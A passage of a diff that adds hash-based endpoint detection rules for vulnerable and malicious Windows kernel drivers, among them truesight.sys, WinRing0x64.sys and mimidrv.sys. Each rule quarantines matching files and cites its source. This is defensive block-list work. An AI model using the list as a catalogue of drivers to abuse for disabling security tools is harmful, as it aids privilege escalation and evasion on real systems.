+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454681Z",
+  "creation_date": "2026-03-23T11:45:30.454684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454694Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16360ead229b13deb47bc2bef40f282474c9f18c213c636cdfb8cc2495168251",
+  "comment": "Vulnerable Kernel Driver (aka inpout32.sys) [https://www.loldrivers.io/drivers/97fa88f6-3819-4d56-a82c-52a492a9e2b5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "980692a7-4c61-57d0-886e-dd8834c9972f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978934Z",
+  "creation_date": "2026-03-23T11:45:29.978936Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978948Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5562fb90b0b3deb633ab335bcbd82ce10953466a428b3f27cb5b226b453eaf3",
+  "comment": "Vulnerable Kernel Driver (aka Black.sys) [https://www.loldrivers.io/drivers/4b047bb8-c605-4664-baed-25bb70e864a1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "980bc68d-00c6-5359-a3cc-1fdbe8a9cd69",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142273Z",
+  "creation_date": "2026-03-23T11:45:31.142275Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91d9c3744283f31c43f10a876561d6700f3be19518b853ea2709fda9105427b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98163504-9b9b-563c-80ca-25a543fbb298",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480903Z",
+  "creation_date": "2026-03-23T11:45:30.480905Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480911Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "506f56996fbcd34ff8a27e6948a2e2e21e6dbf42dab6e3a6438402000b969fd1",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98173fa1-f433-56cd-8ffe-3eb14597a7bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494923Z",
+  "creation_date": "2026-03-23T11:45:31.494925Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494931Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "544e22290e9fba525d2b2df5e3414dffeab7bcc35a87fa18f46a00eab18aeb33",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9818331a-6327-53d6-9d6a-48d7852fa471",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150303Z",
+  "creation_date": "2026-03-23T11:45:31.150305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150311Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b5ecb39dafef2cff4b537cd59926f522cf6bf10e01bb28100e6250ffc3cbf9a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "981c6eb3-abaa-5df6-945c-dc0f6c45cf73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146302Z",
+  "creation_date": "2026-03-23T11:45:32.146306Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146311Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fcae081ec5093f2f794e0fe32456a07d2294decea356ba84f5ca7c0af407b671",
+  "comment": "Vulnerable Kernel Driver (aka ampa.sys) [https://www.loldrivers.io/drivers/ea0e7351-b65c-4c5a-9863-83b9d5efcec3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "981e9404-386b-5f2d-ace0-1dda94f9fe31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143399Z",
+  "creation_date": "2026-03-23T11:45:31.143401Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143406Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1838791999449fc15002e3330be19ce6b75b26ddfda132c5b37eefc72526c67",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "981fade0-290c-5433-a590-4d5afb3c4c24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468889Z",
+  "creation_date": "2026-03-23T11:45:30.468892Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468901Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0feb05a7cc11793d995c920779cffeae68afabc54ffa8d8c361e5ba44fa57c8e",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9820a6f1-ae4c-5ae9-a127-d631309e005f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140672Z",
+  "creation_date": "2026-03-23T11:45:31.140673Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140679Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8989e81bbf4a0952dac26a326e2defad8d36dc1848a095ddceb19d9e443324d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9823f788-3c66-5e83-8bb0-ee6661f477ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154570Z",
+  "creation_date": "2026-03-23T11:45:31.154572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6a638c49b088c9abe20b7e882ddb0924ebd55330d412272e0c7b953bc2357e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98279125-1391-5a8e-bd72-8760392948cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826474Z",
+  "creation_date": "2026-03-23T11:45:31.826475Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a30e3faa2799870ce719d9c56250454cc3c91508a42ed39b44b81c0d6e8cfc94",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "982d1884-55c3-5868-9391-34d4ed0900de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487684Z",
+  "creation_date": "2026-03-23T11:45:31.487686Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9475319aa880489e6eec14e3d66501fc83be4395e07c4927666166fd4ece0021",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9855b557-535b-5391-8a12-75d1bce128a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975855Z",
+  "creation_date": "2026-03-23T11:45:29.975859Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975867Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2353030d4ea3ad9e874a0f7ff35bbfa10562c98c949d88cabab27102bbb8e48",
+  "comment": "Gigabyte vulnerable driver (aka GVCIDrv64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "985ac503-7706-5cda-857f-653a0fe2d26c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622810Z",
+  "creation_date": "2026-03-23T11:45:29.622812Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622817Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3a215473d836c1d7315f371bff4dea956d7d1b440e43b4671f6e3772bae00dd",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98716085-24c3-539f-ac5a-dc345fc05b5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829115Z",
+  "creation_date": "2026-03-23T11:45:30.829117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829122Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "122914d3e9b1a490871c4bbad1d5e7b5da9365fa1b34fac02c86873b2008770c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9884c5f5-0f98-5244-85a7-09bada13d9e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817626Z",
+  "creation_date": "2026-03-23T11:45:30.817628Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817634Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3a191ccd1df19cdf17fe6637d48266ac84c4310b013ad6973d8cb336b06ff69",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98871817-2288-55f3-a5c2-2eae8c0e39b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967344Z",
+  "creation_date": "2026-03-23T11:45:29.967346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967351Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98949474-b29d-518b-9c62-bfb084086ccf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464118Z",
+  "creation_date": "2026-03-23T11:45:30.464121Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b169a5f643524d59330fafe6e3e328e2179fc5116ee6fae5d39581467d53ac03",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98960ee9-4fd4-59f4-a2c8-50e6d490d40b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498712Z",
+  "creation_date": "2026-03-23T11:45:31.498715Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498724Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "770c2dfb24bba62e826160247e0a99152da04d27e8b6e115a3f474367cb9ee9d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9897001c-21d3-5425-b60f-3523835af690",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617237Z",
+  "creation_date": "2026-03-23T11:45:29.617239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617245Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b845e5e43ce9e9b645ac198549e81f45c08197aad69708d96cdb9a719eb0e29",
+  "comment": "Noriyuki MIYAZAKI's WinRing0 dangerous driver (aka WinRing0x64.sys) [CVE-2020-14979] [https://www.loldrivers.io/drivers/f0fd5bc6-9ebd-4eb0-93ce-9256a5b9abf9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "989c0ab7-a942-5f7d-a300-58639fe30fe2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827479Z",
+  "creation_date": "2026-03-23T11:45:31.827482Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827487Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bb2b1b6160b22aec3cf19a98d196c84eba631c6f834f62ad2446e59ff3a036f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98a10276-5ee4-5849-b8a9-dae4ee9c2250",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612127Z",
+  "creation_date": "2026-03-23T11:45:29.612129Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612136Z",
+  "rule_level": null,
+  "rule_level_override": null,
